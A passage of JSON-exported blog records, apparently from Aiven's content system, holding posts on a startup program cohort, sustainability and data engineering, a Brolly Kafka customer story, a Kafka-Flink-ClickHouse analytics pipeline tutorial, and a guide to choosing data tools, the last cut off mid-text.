for recycling and waste management. They’re connecting companies and recyclers together to make recycling easy, fast and affordable - with one software for all locations, recyclers, containers, and waste streams.\n\n- **[Vest](https://mivest.io/)** (Mexico) want to empower Latin America to build its financial future by making investing simple, accessible, and transparent for all. They make it magically simple to open an investment account in the U.S., put dollars in that account, and invest in public equities through a combination of trading and managed portfolios.\n\n- **[Layer](https://layer.ai/)** (Turkey) are providing an AI-assisted game asset generation platform.\n\n- **[Capply](https://capply.co/)** (Sweden) offers a digital freight platform for non-contracted loads, addressing the inefficiencies in today’s freight market.\n\n- **[Sidos](https://sidos.com/)** (Finland / United States) develops tools to design and troubleshoot Wi-Fi networks. Sidos has a hardware device, an app and a cloud backend to collect and process the measurement data. This allows non-experts to troubleshoot networks and frees the expert users from the burden of always traveling to the target site since many operations can be done in the cloud.\n\n---- \n\nAs part of the program, the startups will unlock up to $100,000 credits to spend on Aiven's powerful open source data platform, expert technical support, a community of like-minded entrepreneurs and opportunities to participate in events and media appearances together with Aiven. \n\nWe are excited to witness the growth and achievements of these startups as they leverage the Aiven Cluster's resources to scale their businesses and make a significant impact in their respective industries.\n\nInterested? Learn more about the [Aiven Cluster Startup Program](https://aiven.io/cluster)!\n\n\u003c!--\n![A picture of a hand with a happy crab sitting on its palm, and the text Get a helping hand from Aiven Cluster](https://cdn.sanity.io/images/sczeoy4w/production/78889a417971b3ac4c253960b655195767b02766-2000x2000.jpg)\n--\u003e \n","categories":[{"_key":"bc92c7a2584e","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"fec842ea1fb0","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"Cluster startup program: our newest participants\" on a blue background, with the Aiven cuddly crab logo at the bottom left","asset":{"_ref":"image-6601ef6fe9482b1a38fe5c393355c08c12df4701-1567x844-png","_type":"reference"}},"publishedAt":"2023-06-12T07:47:19.381Z","related":[{"_key":"60e5788f5d90","_ref":"18fLg2vAgBM4cu7qP3u2XJ","_type":"reference"},{"_key":"082df4013352","_ref":"a206e792-7b27-449f-8716-f1fb92cb70e4","_type":"reference"},{"_key":"254300b5ac82","_ref":"2521aAC97RKCIw0JBvV5Ex","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven believes in paying back to the startup community – it is where we come from. Find out about the latest companies to join our Cluster Startup Program.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7698db9c98e4e6312ac5f96c3c1092676c7cb20a-2500x1308-png","_type":"reference"}},"metaTitle":"New Companies Join the Aiven Cluster Startup Program"},"slug":{"_type":"slug","current":"/blog/cluster-update-2023-06"},"subtitle":"Aiven believes in paying back to the startup community - it's where we come from. Read on to find out about the latest companies to join our Cluster Startup Program.","title":"Introducing the newest cohort of startups joining the Aiven Cluster Startup Program"} {"__i18n_lang":"en","_createdAt":"2024-03-13T08:59:39Z","_id":"18ce7815-fd28-4817-806a-e24532560b82","_rev":"sEwq5NBiPauorOxrhiRXiA","_type":"post","_updatedAt":"2024-11-19T08:16:01Z","authors":[{"_key":"c643626dd3b3","_ref":"0698846c-82e6-426e-9319-ae955305435f","_type":"reference"}],"body":"If I were to ask you what marine biologists and database engineers have in common, you’d think it was the beginning of a nerdy joke. There probably is one in there somewhere but, as someone that has sat on both sides of the fence – or operated on both sides of the water’s surface to continue the analogy – I can say with certainty that the parallels are more common than coral on the Great Barrier Reef.\n\nBoth marine biologists and database engineers play crucial roles in collecting, analyzing and utilizing information to understand ‘cause and effect’. Whether it’s factors relating to fish populations and pollution levels or data management and system design, the objectives are the same — to find ways of improving the environment in which they are concerned. \n## Five common traits shared \nIt means both professions share five common traits that make the people doing the job, tick. They are also key to shaping how businesses engage with sustainability initiatives and underpin the likelihood of success. These are: \n\n1. **Problem-solving through data gathering**: Both professions analyze complex data sets to understand causes and effects. With so much data generated within an enterprise, the first step when investing in sustainability after defining a strategy is to review the types of data available across the organization and to identify what data could be relevant to track the success of sustainability initiatives. This will help determine the systems required to gather and aggregate the right information, as well as addressing existing data gaps.\n2. **Building models for the future:** Instances like forecasting potential emission reduction pathways of an organization can require multitudes of data sources to feed into complex models and calculations, which might also be based on assumptions and have limitations that need to be considered carefully. It means that the ability to build flexible and scalable models is paramount — a skill at the core of both marine biology and database engineering.\n3. **Communication and collaboration for impact:** Both fields also rely on effective communication to translate complex technical knowledge for diverse audiences. For a company to demonstrate sincere commitment to prioritizing clear, sustainable actions across every area of the organization, it’s essential to set smart targets, communicate progress over time and put in place strong governance processes.\n4. **Adaptability and continuous learning:** Both fields demand constant learning and adaptation and thrive in dynamic environments where knowledge evolves rapidly. This is fundamental to enterprises looking at sustainability initiatives where making a difference often means constant tweaks and changes to ways the business operates. For instance, finding ways to make environmentally conscious choices throughout the data storage lifecycle, from data acquisition to disposal.\n5. **Passion for a greater cause:** Both professions are driven by a passion for a greater cause. If companies are unable to blend data and sustainability, they will lose competitiveness and resilience in the years to come.\n## Contribute to a better future\nThrough their data-driven approaches, communication skills, and dedication to their respective causes, both professions can contribute significantly to a better future. The plight of our oceans is well-documented but, in an era of sustainability on a global scale, the role of the technology sector must not be underestimated. This is because technology in this scenario has a dual purpose. \n\nThe first is that since technology is now so universally adopted and the basis for operations in almost every sector of business, it plays a fundamental role to accelerate the transition to net-zero emissions and scale positive impact. The second is that, because technology is constantly evolving and improving, many are using it as the basis to come up with the answers for the questions we need to solve around climate change.\n\nNever before have technology and sustainability been so important, interconnected and influential.\n## Sustainability at Aiven\nIt is why sustainability must be at the heart of doing business today and is something we take seriously at Aiven. Indeed, one of our objectives is to deliver ‘disproportionate impact’. That is, we intentionally drive actions that echo far beyond our scale and expectations, creating a ripple effect of positive impact that amplifies our influence and inspires change.\n\nOne such example is a project where we are working to develop an [open-source tool](https://github.com/Aiven-Labs/python-cloud-emission-estimator) based on this [plugin by Thoughtworks Inc](https://www.cloudcarbonfootprint.org/), a tech consultancy with expertise on cloud emissions. Once integrated, it can show customers their carbon emissions associated with the Aiven service use. By exposing emissions, we aim at enabling customers to optimize their cloud footprint and infrastructure setup, contributing to more efficient use of cloud resources and allowing them to make informed decisions taking sustainability into account. To improve the data inputs needed to accurately calculate emissions, we plan to collaborate with several cloud providers\n\nWe’re also measuring and starting to reduce the carbon emissions generated by our business. Even though there are multiple sources of emissions across our value chain and operations, we are first focussing on emissions hotspots, which are areas with a particularly high environmental impact and if addressed properly, they can be minimised over time. \n## Powerful agents for driving change\nDespite different focuses, marine biologists and database engineers share important skills and values that make them powerful agents for driving change. Collaborative working helps identify threats and inform sustainability strategies while technical know-how helps to understand and measure the impact of sustainability efforts. \n\nUltimately, both are a driving force for positive change for the business and the planet, empowering stakeholders and inspiring others to join a journey we must all make.\n","categories":[{"_key":"3a285fb4d1b6","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"},{"_key":"cfafd924d7c6","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"a97b865252ec","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-07f48c26dd3cc0a48dda148053bff25ea8e401cd-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-13T09:20:00.000Z","seo":{"_type":"metaData","metaDescription":"Simplify multi-cloud data infrastructure with Aiven’s open-source solutions for rapid, confident app development. Find out more in our blog!","metaTitle":"Sustainability in Engineering Data | Aiven"},"slug":{"_type":"slug","current":"/blog/helping-enterprises-make-sense-of-sustainability"},"title":"Helping Enterprises Make Sense of Sustainability in an Ocean of Engineering Data"} {"__i18n_lang":"en","_createdAt":"2023-07-10T06:50:46Z","_id":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_rev":"sEwq5NBiPauorOxrhiRPyK","_type":"post","_updatedAt":"2024-11-19T08:14:44Z","authors":[{"_key":"a9bb6c49a932","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"As a social media archiving \u0026 insights platform, effective data processing and data management are mission-critical for Brolly. Aligned with rapid customer growth in social media traffic, Brolly needed a robust way to collect and store these social media conversations – one that was compliant with industry data privacy and security regulations. Brolly partnered with Aiven to create a modern data infrastructure that is resilient, secure, and agile enough to keep ahead of customers’ expanding social media archiving needs. Using Aiven for Apache Kafka®, Brolly has significantly contributed to reducing system errors and operating costs, while also freeing up valuable IT resources. This enables its people to focus on creating new services that matter most – value creation and customer satisfaction. \n\n## Growing on social media, responsibly\nAccording to Statista, in 2022, consumers spent an average of 147 minutes per day on social media. Given the popularity of social media apps as a preferred communication tool, many large organisations like banks, insurers, and Government agencies regularly use social media to interact with their customers, every day. This near real-time communication generates vast amounts of data that needs to be processed and stored in line with industry compliance requirements.\n\nGiven that Brolly’s customers are mainly in regulated industries such as Government, financial services, education, and healthcare providers, collecting and keeping social media records secure is of utmost importance to them. \n\n“Data is a core business function for us. Capturing and preserving social media conversations securely, reliably, and in compliance with the various data and privacy regulations across different regions within Australia and the region is critical for our customer base. Our analytics framework needed to be resilient enough to make sense of the massive amount of data that is generated,” says Ali Nazemian, Chief Technology Officer at Brolly. \n\n\u003e “Data is a core business function for us. Capturing and preserving social media conversations securely, reliably, and in compliance with the various data and privacy regulations across different regions within Australia and the region is critical for our customer base. Our analytics framework needed to be resilient enough to make sense of the massive amount of data that is generated,” says Ali Nazemian, Chief Technology Officer at Brolly\n\n## Staying ahead to manage increasing data volumes in real-time\nPrior to partnering with Aiven, Brolly was struggling to manage the endless streams of structured and unstructured information and data coming in from multiple sources. All too often, this was happening in real time, using an outdated data streaming architecture that was no longer fit for purpose. As a result, Brolly was struggling to manage the increased volume of real-time data and their transactional use cases, which resulted in additional time spent on computation. To make matters worse, the previous platform failed to capture certain customer data meaning valuable IT resources were spent recapturing the data. Due to the platform not being fully automated, this led to human intervention which went against regulatory data compliance. \n\nThe last straw was when Brolly’s engineering team found themselves drowning in a backlog due to the platform’s inability to ingest massive amounts of data, which frustrated the data users, engineers, and ultimately, customers. Support tickets were also slow to generate.\n\nBrolly realised it needed to invest in a modern database and system that was agile and flexible enough to keep up with the large volumes of customer data needing processing and archiving. Its new platform needed to be robust enough to accurately capture, process, and archive its customers’ growing volumes of social media data. It also needed to be simple to use and easy to manage with the ability to ingest various incoming data streams and support multiple data sources.\n\n“It was crucial that the team was familiar with the technologies powering the new data platform with zero vendor lock-in and managed by a service provider that we could trust to take care of the back-end services, while we focused on delivering value to our customers,” Ali says. \n\n## Data infrastructure made simple\nTo meet Brolly’s requirements for a modern data platform that could keep pace with its exponential growth in customer data, Brolly partnered with Aiven, selecting Aiven for Apache Kafka.\n\n“We were looking for a reliable technology partner that we can trust to deliver, scale, and support our social archiving needs and services on demand, without additional resourcing pressures. Aiven made everything so simple for us from the get-go,” said Ali. \n\nAiven was able to provide all the data infrastructure components Brolly needed, coupled with the innate ability to scale horizontally and vertically to meet the company’s streaming needs and workloads, as it continues to accommodate greater amounts of traffic and use cases. \n\nThe digital transformation, including migrating Brolly customers’ data over to the new Aiven platform and services was completed in less than four months without any downtime, allowing Brolly to continue meeting their customers’ social media archiving requirements. \n\nCurrently, Brolly is running Apache Kafka as the backbone of its data infrastructure. Avro with Karapace is also used to circumvent the decoupled nature of Apache Kafka, ensuring seamless message compatibility amongst Brolly microservices. While Kafka Connect is used to share events internally amongst Brolly’s critical services. \n\n## Enjoying the best of both worlds with Aiven\nAiven’s cloud-based infrastructure is well-suited to support the growing scale of Brolly’s intensive social media archiving needs, such as the rate of data ingestion changing frequently, where a solution that can keep up with millions of messages over a short time is needed.\n“Messages can go viral, so it’s important to have a scalable solution that can keep up with social media records no matter what the rate of ingestion is,” Ali elaborates. “To overcome this, we have used Aiven for Apache Kafka and its ecosystem to build an event-driven data pipeline that can be a highly distributed and scalable medium for social media records in transit.”\n\nThe event streaming platform’s flexible architecture also makes moving data a breeze, tapping its open-source advantages to pull in various APIs, management interfaces, and applications to give diverse options. As an open-source cloud data platform, Aiven connects all the components in the value chain, from producers to consumers.\n\n“With the use of Aiven’s fully managed service for Apache Kafka, we have the best of both worlds by keeping our operations cost low, having the assurance of commercial support, and using a trusted and reliable solution with the support of the wider open-source communities. This platform support is vital for a dynamic outfit like Brolly,” Ali says, “as it allows Brolly to focus on what is important to us, which is giving our customers peace of mind.” \n\n\u003e “With the use of Aiven’s fully managed service for Apache Kafka, we have the best of both worlds by keeping our operations cost low, having the assurance of commercial support, and using a trusted and reliable solution with the support of the wider open-source communities. This platform support is vital for a dynamic outfit like Brolly,”\n\n## Taking operational efficiencies and customer experience to the next level\nSince implementing Apache Kafka, Brolly has been able to manage its resources better which sees a reduction in infrastructure total cost of ownership by 60%, with accuracy and data recovery improving by more than 300%. \n\nWhile accuracy is paramount, the twin competencies of speed and reliable data volume handling are equally important. “When a social media account gets connected to Brolly, all the corresponding social media records for that account get collected in just a few hours in addition to serving real-time messages immediately,” the CTO said. “Our customers are now able to extract and search millions of records in real-time once their historical data is collected.” \n\nAs a result, Brolly’s customers can now increase their visibility, engagements, and customer traffic while adhering to the industry’s regulatory and compliance needs.\n\nOn the technical side, the record processing latency has decreased by two orders of magnitude from more than a minute to less than a second on average. There has also been a significant decrease on the computational side of Brolly’s infrastructure as they are now able to work more efficiently, increasing operational efficiencies by more than 200%.\n\n## The blueprint for social media archiving\nBrolly is currently identifying new services for its customers to detect inappropriate content or suspicious events in real time. The company is also intending to up the ante to protect its customers’ data and their online communities by helping them reduce risks associated with potential social content violations while maintaining brand consistency. \n\n“The use of open-source technologies from Aiven has helped us to focus on making social media a better place for our customers, communities, and citizens,” summarises Brolly’s Ali. “This will allow us to be the best social media archiving and insights platform and yet give back to the community.”\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"2d7a89d6-3449-4fd3-b8ac-9fee4dc36662","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, Brolly","asset":{"_ref":"image-5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724-png","_type":"reference"}},"publishedAt":"2023-07-10T06:56:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka® boosts data efficiency, reduces errors, and lets Brolly focus on customer value. Find out more about the cooperation in our blog!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5a403f720d43af7e14a967cf19cc2456c9a542bf-3295x1724-png","_type":"reference"}},"metaTitle":"Brolly Analyzes Social Data with Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/brolly-uses-aiven-to-make-sense-of-its-customer-social-data"},"subtitle":"Social media archiving \u0026 insights platform, Brolly, needed a robust and compliant way to capture and store its massive volumes of customer data","title":"Brolly uses Aiven for Apache Kafka® to make sense of its customer’s social data"} {"__i18n_lang":"en","_createdAt":"2022-10-26T06:35:50Z","_id":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_rev":"h4ancfFTuSnQNBSq3G9E6W","_type":"post","_updatedAt":"2024-11-18T13:06:36Z","authors":[{"_key":"2a47e2eb246a","_ref":"1b8da1ec-b144-42b2-9889-39943155ba32","_type":"reference"}],"body":"What happens if you have an interesting data set, a lot of ideas and questions, and the clock is ticking? You want to deliver quality insights within minutes and make innovation simple, and we want to help with that. Our demo - using the Digitransit data set, with tools and open source services from the Aiven Platform - shows an example of how it can work.\n\nWe also hosted a webinar where Dave explained this topic in more detail. Watch the recording here: \n\n::youtube[How to build data analytics pipelines]{#8heId4kFPJ0}\n\n### What we’ll cover:\n\n- [**The Digitransit platform:**](#from-open-source-platform-to-railway-platform-the-basis-of-our-demo) check out the data architecture components for our solution and the input data source from the 3rd party API.\n- [**Digging into the underground:**](#digging-into-the-underground) take a look at our tube map as we get started on our journey!\n- [**First leg:**](#minor-configuration-on-the-kafka-connect-line) visit the Kafka Connect® framework for subscribing to the MQTT feed.\n- [**A stopover at Apache Flink:**](#a-stopover-at-apache-flink-for-pre-processing) for a spot of mapping, flattening and some transformations\n- [**Last stop:**](#last-stop-aiven-for-clickhouse) to get your data safe and sound so you can run your analytical queries.\n- [**Wrapping up:**](#wrapping-up) try this out yourself with some extra credits. Take the Catch the Bus Challenge on the Aiven Console, and take a look at some of our other resources.\n\n## From open source platform to railway platform: the basis of our demo\nDigitransit powers the websites and mobile apps used by Finnish travelers every day. What’s special about this platform (and why we like it here at Aiven) is that it’s fully open source. They provide a lovely set of APIs for mapping, geocoding and some near-real-time data feeds for service alerting, trip updates and vehicle positions.\n\nLet’s grab this data feed, build a pipeline quickly on Aiven, and use these events to learn something new about the state of public transport in Finland!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/5583677a2d66121adcd2953324abdf28f7cef15d-1422x800.png)\n\nAs you can see, [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) architectures can get *complex* (and if you’re interested in diving deeper, take a look at [future.com’s great info](https://future.com/emerging-architectures-modern-data-infrastructure/)). But here above, we’ve highlighted the data pipeline architecture components we’ll use for our solution:\n\n- The input data source is the 3rd party API provided by Digitransit, which sends the data as an MQTT stream.\n- We’ll use an event streaming platform powered by [Apache Kafka®](https://aiven.io/kafka).\n- Stream processing works through [Apache Flink®](https://aiven.io/flink).\n- Our real-time analytical database is powered by [ClickHouse®](https://aiven.io/blog/what-is-clickhouse).\n\nAnd all of these are running on Aiven!\n\n## Digging into the underground\nHere’s the full map of what we’re set to build.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/0255bc816b6e6ef4e4896e97b55b40a08f90544a-1422x800.jpg)\n\nOutside of the core services already mentioned, you can see we have a few extra stops along the way:\n\n- The [Kafka Connect® framework](https://aiven.io/kafka-connect) for subscribing to the Digitransit MQTT feed\n- [M3DB](https://aiven.io/m3) as a time series database along the top\n- A [Grafana®](https://aiven.io/grafana) instance for dashboards\n\nM3DB and Grafana are used to monitor the state of the pipeline and make sure it's healthy. We can check out incoming message rates and consumer lag, and set alerting thresholds for them.\n\n[With your trial account](https://console.aiven.io/signup/email), drop into the Aiven console where you’ll see the full range of open source managed services on offer.\n\n### Minor configuration on the Kafka Connect® line \nInside our Kafka Connect® service we’ll run the MQTT Source Connector from Stream Reactor. There’s no custom coding required, just some minimal configuration to point to the correct endpoint, pass in the topic details and let the connector know what data format to write (we’re going with JSON just to keep it simple, but Avro’s also an option).\n\nOnce this is running, we get records like this appearing on a Kafka topic.\n \n![image](https://cdn.sanity.io/images/sczeoy4w/production/fed7c9734209f5a1d72c7f76766e66af69e5d864-1422x800.png)\n\nWe have operator IDs, vehicle IDs, speed, heading, location as latitude / longitude and a variety of other fields. But there’s a couple of problems here.\n\nFirst, the whole thing is wrapped as a JSON object called VP (vehicle position). Second, these IDs don’t mean much - we want to know the transport operator’s name. \n\n\u003e **Note:** If you want to [see how to build all this](https://github.com/dbeech/big-data-ldn-demo) in Github using Terraform, we’ve got you covered.\n\n### A stopover at Apache Flink for pre-processing\n![image](https://cdn.sanity.io/images/sczeoy4w/production/04262c771ec50ce4f29277bf42c1916f35b59e24-1422x800.png)\n\nSo let’s pass through Apache Flink to pre-process the stream. We’re doing a few things here:\n\n- We’ll join each record to a small reference dataset that’s sitting in a PostgreSQL database, just a simple mapping of operator ID to name.\n- We’ll get rid of that nesting and write a flattened set of values to a different topic, still in JSON format but without that useless wrapper object.\n- We could also do some simple transformations. For example, the speed value is reported in meters per second but maybe I’d prefer miles per hour or kilometers per hour. Here would be a great place to write a new computed column alongside the original. \n\nThese transformations are defined as an SQL query. We define Flink tables which act as overlays on top of both the raw data Kafka topic and reference data table in Postgres, select from these and join however we like, then write back to a new table which sits on top of a second Kafka topic for pre-processed records.\n\n### Last stop: Aiven for ClickHouse\nFinally, we want our data in ClickHouse so we can run analytical queries against it very soon after it arrives. [ClickHouse has great Kafka integration](https://aiven.io/blog/connecting-kafka-and-clickhouse) out of the box so we can define a table here with an engine type of Kafka, which runs a consumer group and constantly reads new data arriving on the topics we want.\n\nQuerying this table shows us the latest records consumed, so it’s no good on its own - you can’t query the same data twice without resetting the consumer group details. So what we’ll do instead is create a ClickHouse materialized view on top of it.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/cd70a0ca0f5bef939749619cd349997989a62a79-1422x800.jpg)\n\nNow ClickHouse constantly reads data from Kafka in the background. The data trickles through into the materialized view and is persisted so we can query it over and over again.\n\n## Wrapping up\nAnd that’s it. With these tools and this know-how, you can navigate the underground to create value and innovate with your own data systems.\n\n::banner[Use Aiven for Apache Flink® for data transformation, Aiven for Apache Kafka® for data streaming, and Aiven for PostgreSQL® for data storage/query.]{ctaText=\"Read tutorial\" ctaLink=\"https://aiven.io/docs/tutorials/anomaly-detection\" title=\"Build a streaming anomaly detection system\" theme=dark}\n\n### Further reading\n\n- [Build what you’ve seen in this article](https://github.com/dbeech/big-data-ldn-demo) in GitHub using the Aiven Terraform provider\n- Learn how to perform analytics with fast response time over huge volumes of data without the need to downsample data. [Connect Apache Kafka® and Aiven for ClickHouse®](https://aiven.io/blog/connecting-kafka-and-clickhouse)\n- [Set up an Aiven for Apache Kafka / Aiven for Apache Flink integration using the Aiven Terraform Provider](https://aiven.io/docs/tools/terraform/reference/cookbook/kafka-flink-integration-recipe.html)\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)\n\n----\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds and take a look at our [documentation](https://docs.aiven.io/), and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!\n","categories":[{"_key":"97d300a9e531","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"1a8aa23e2cac","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"We demo a real-time data analytics pipeline with a public transport twist","asset":{"_ref":"image-d8fafe7d5b1fe4dd0db95ba438d357b299bda050-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-31T10:41:37.274Z","related":[{"_key":"73cc26f181ed","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"5d0d3043d4f9","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Learn more about event streaming architecture with Apache Kafka® and Apache Flink®, landing data into real-time analytics data warehouse ClickHouse®.","metaTitle":"Build a Real-Time Analytics Pipeline in Minutes | Aiven"},"slug":{"_type":"slug","current":"/blog/build-a-real-time-analytics-pipeline"},"subtitle":"Learn more about event streaming architecture with Apache Kafka® and Apache Flink®, landing data into real-time analytics data warehouse ClickHouse®.","title":"Build a real-time analytics pipeline in less time than your morning bus ride"} {"__i18n_lang":"en","_createdAt":"2024-02-29T11:44:46Z","_id":"ec2034e7-a659-4a4d-a90f-5f860c990c95","_rev":"h4ancfFTuSnQNBSq3JC4vs","_type":"post","_updatedAt":"2024-11-19T11:00:44Z","authors":[{"_key":"351eb12fd20e","_ref":"fb82c695-bb6c-49c1-87f4-7dfecc3f6eb0","_type":"reference"}],"body":"Today, we're embarking on an adventure through the intricate world of data. Whether you're a seasoned CTO or new to tech overall, understanding the nuances of data is critical to making informed decisions. Let's unravel this complex data web, asking the right questions to discover the perfect tools for your data journey.\n\n## What's the shape of your data?\n\nNo two datasets are alike. The structure of the data changes the kind of tooling needed to manipulate that data \n\n### Structured or unstructured?\n\nFrom a structural perspective you can think of data as existing on a continuum or gradient: on the one side, there's highly structured data, like customer profiles. Each customer has a known name, address, phone number, and we can expect those to fall within certain formatting constraints. For example, a phone number will always be a set of numbers and special characters. On the other side, there's unstructured data: the contents of an email, for example, are unstructured. \n\nThe shape of the data should define what kind of software you use to store and manipulate it.\n \n- **Structured data:** Structured data is data where you have predictable fields with predictable data types. Storing a customer profile is the perfect example: customers have a name, phone number and email address. You know that the name will be a String, you know the phone number will be numbers, and you know the email address will follow a certain format. You might need to access these individual pieces of data on their own, or you might need to bring up a Name-Phone-Email set to generate a display. \n\t- **Possible tech match:** Relational (SQL) databases are well suited for structured data because they store data in columns and rows. They also provide good validation at the database level for the kinds of data coming in. Tools like MySQL or PostgreSQL® work efficiently for storing and querying structured data. \n- **Semi-structured data:** Semi-structured data is data that contains some structure, such as tags or identifiers, but does not or cannot be stored in a strictly tabular fashion. For example, comments on a Google Doc are semi-structured data: there are certain pieces of the data that are known and consistent (the comment author's name and email, for example), and pieces of the data that are free-form (the comment itself). As mentioned above, it's usually best to store data in the most structured format possible, as that lets you validate and manipulate the data more efficiently. Look for a tabular database with support for data formats like JSON and XML.\n\t- **Possible tech match:** JSON or XML databases, which contain structured elements but are more flexible than traditional databases. Additional options include MongoDB or PostgreSQL which has extensive support for JSON. \n- **Unstructured data:** This is data that is unique in each instance, but has little to no identifiable, consistent internal fields. Email is a great example of unstructured data. While you can count on an email having a sender and a receiver, you can't predict whether or not it will have an attached file, whether or not anyone will be included in the CC and BCC lines, or what kind of text (if any) will be included in the body.\n\t- **Possible tech match:** NoSQL databases like Cassandra or Redis, document stores, or data lakes can handle unstructured data effectively. \n\n### Manipulation needs\n\nThe next thing to consider is what you intend to do with your data. Are you collecting data for long term storage or are you moving data from one location to another, analyzing and using it contextually? In the world of data systems, we think of this data as either being static, dynamic, or a hybrid of the both.\n\nNot all data services are oriented towards storage alone. Streaming messaging services, on-the-fly data analysis and storage for large aggregates of analytics data are all valid use cases\n\n- **Static data:** Data that does not often need updates and can maintain stability and allow querying over time and possibly massive amounts of data.\n\t- **Possible tech match:** Relational databases like MySQL or PostgreSQL are suitable for static data as they maintain data integrity and stability over time. ClickHouse is on the rise since it supports analytical workloads over massive amounts of data.\n- **Dynamic data:** Constantly evolving data that frequently updates in real-time. Think stock prices or sensor data like your thermostat changing automatically when it gets too cold. \n\t- **Possible tech match:** Technologies like Apache Kafka® for real-time data streaming or in-memory databases like Redis®* for rapid data access are well-suited for dynamic data.\n- **Hybrid Data:** Data that occasionally changes, like monthly sales records or quarterly performance data. Here, it would help if you had a balance between tools that handle some dynamic updates and those that maintain static information.\n\t- **Possible tech match:** Hybrid data scenarios benefit from a combination of technologies. You can use a combination of traditional databases like PostgreSQL and data streaming platforms like Kafka for hybrid data needs.\n\n## How will you use and access your data?\n\nNow that you’ve looked at the structure and use of your data, how and who will be accessing the data? The speed and frequency with which you need access to data determines the tools that are viable for you. In this section we’ll review different ways of accessing your data from periodically needing to receive updates to needing those updates in real time. \n\n### Data access patterns\n\n- **Pull data for reports (periodic access):** Data that is accessed occasionally, in batches. Requests are made at infrequent intervals and need to wait for the report or similar to compile. \n\t- **Possible tech match:** SQL Databases are ideal for scenarios requiring detailed, complex queries. PostgreSQL or MySQL (and ClickHouse) are well-suited for environments where data integrity and periodic access are the norm. Specialized datastores like OpenSearch can be a good hit for particular search patterns (which involve text search).\nReal-Time Analytics (Continuous Access): Like mentioned above, in Dynamic Data, Constantly evolving data that frequently updates in real-time. The information flows continuously.\n\t- **Possible tech match:** Using Streaming Technologies. Platforms like Apache Kafka® or Apache Flink® are the champions of high-speed, real-time data processing. They're great for scenarios demanding immediate insights and continuous data flow.\n- **Hybrid access:** A combination of pull and stream methods for scenarios where you need regular reports but also require real-time alerts or updates.\n\t- **Possible tech match:** Hybrid Database Systems: These systems combine the features of both SQL and NoSQL databases, offering flexibility for varied data access patterns and complex queries. They are ideal for organizations with diverse data needs. A few possibilities could look like DynamoDB, Altibase, or Microsoft SQL Server.\n\n## What are your security and privacy requirements?\n\nWhen thinking of Security and Privacy Requirements, what does your industry and data require? Understanding the compliance and safety needs of your data will guide you to what tools can meet those requirements.\n\n### Navigating regulatory compliance\n\n- **Understanding the requirements of your data:** Key items that you would need to identify would include, Users, Roles, Access Patterns, and how strict the assets definition would be. \n\t- **Possible tech match:** Modern databases offer ways to perform \"raw level security\" enabling you to define exactly what a certain user can or cannot see.\n- **Key regulations:** GDPR in the EU, HIPAA for healthcare data in the US, and PCI DSS for credit card transactions are just a few examples. Each set of regulations requires specific handling and protection measures for personal and sensitive data.\n\t- **Possible tech match:** Data Privacy Management Platforms. Tools like OneTrust or TrustArc provide comprehensive solutions for managing privacy compliance, including GDPR.\n- **Industry-specific regulations:** Apart from GDPR, HIPAA, and PCI DSS, certain industries have specific data handling regulations. For example, FERPA for educational data in the US.\n\t- **Possible tech match:** Healthcare Data Management Systems and Payment Processing Platforms. Healthcare-specific systems like 